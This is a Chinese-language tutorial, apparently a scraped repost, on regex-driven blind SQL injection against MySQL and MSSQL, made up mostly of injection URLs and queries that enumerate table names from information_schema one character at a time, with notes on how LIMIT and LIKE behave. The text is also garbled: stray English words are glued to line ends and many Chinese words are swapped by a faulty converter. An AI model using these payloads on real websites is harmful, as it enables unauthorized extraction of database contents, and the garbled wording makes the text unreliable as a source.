SQL盲注之正则攻击

咱们都已经知道,在MYSQL 5+information_schema库中存储了全部的 库名,代表以及字段名信息。故攻击方式以下:php

1. 判断第一个表名的第一个字符是不是a-z中的字符,其中blind_sqli是假设已知的库名。mysql

注:正则表达式中 ^[a-z] 表示字符串中开始字符是在 a-z范围内正则表达式

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*sql

2. 判断第一个字符是不是a-n中的字符数据库

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*express

3. 肯定该字符为nthis

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*spa

4. 表达式的更换以下regexp

expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSEorm

这时说明表名为news ,要验证是不是该代表 正则表达式为'^news$',可是没这必要 直接判断 table_name = ’news‘ 不就好了。

5.接下来猜解其它表了 (只须要修改 limit 1,1 -> limit 2,1就能够对接下来的表进行盲注了)这里是错误的!!!

regexp匹配的时候会在全部的项都进行匹配。例如:

security数据库的表有多个,usersemail

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1);是正确的

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);是正确的

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1);是正确的

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 1,1);不正确

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 1,1);不正确

实验代表:在limit 0,1下,regexp会匹配全部的项。咱们在使用regexp时,要注意有可能有多个项,同时要一个个字符去爆破。相似于上述第一条和第二条。而此时limit 0,1此时是对于where table_schema='security' limit 0,1table_schema='security'已经起到了限定做用了,limit有没有已经不重要了。

 

-----------------------------------------------MSSQL---------------------------------------------------

MSSQL所用的正则表达式并非标准正则表达式 ,该表达式使用 like关键词

default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" and table_name LIKE '[a-z]%' )

该查询语句中,select top 1 是一个组合哦,不要看错了。

若是要查询其它的表名,因为不能像mysql哪样用limit x,1,只能使用 table_name not in (select top x table_name from information_schema.tables) 意义是:表名没有在前x行里,其实查询的就是第x+1行。

例如 查询第二行的表名:

default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" and table_name NOT IN ( SELECT TOP 1 table_name FROM information_schema.tables) and table_name LIKE '[a-z]%' )

表达式的顺序:

'n[a-z]%' -> 'ne[a-z]%' -> 'new[a-z]%' -> 'news[a-z]%' -> TRUE

之因此表达式 news[a-z]查询后返回正确是应为%表明0-n个字符,使用"_"则只能表明一个字符。故确认后续是否还有字符克用以下表达式

'news%' TRUE -> 'news_' FALSE

同理能够用相同的方法获取字段,值。这里就再也不详细描述了。

相关文章
相关标签/搜索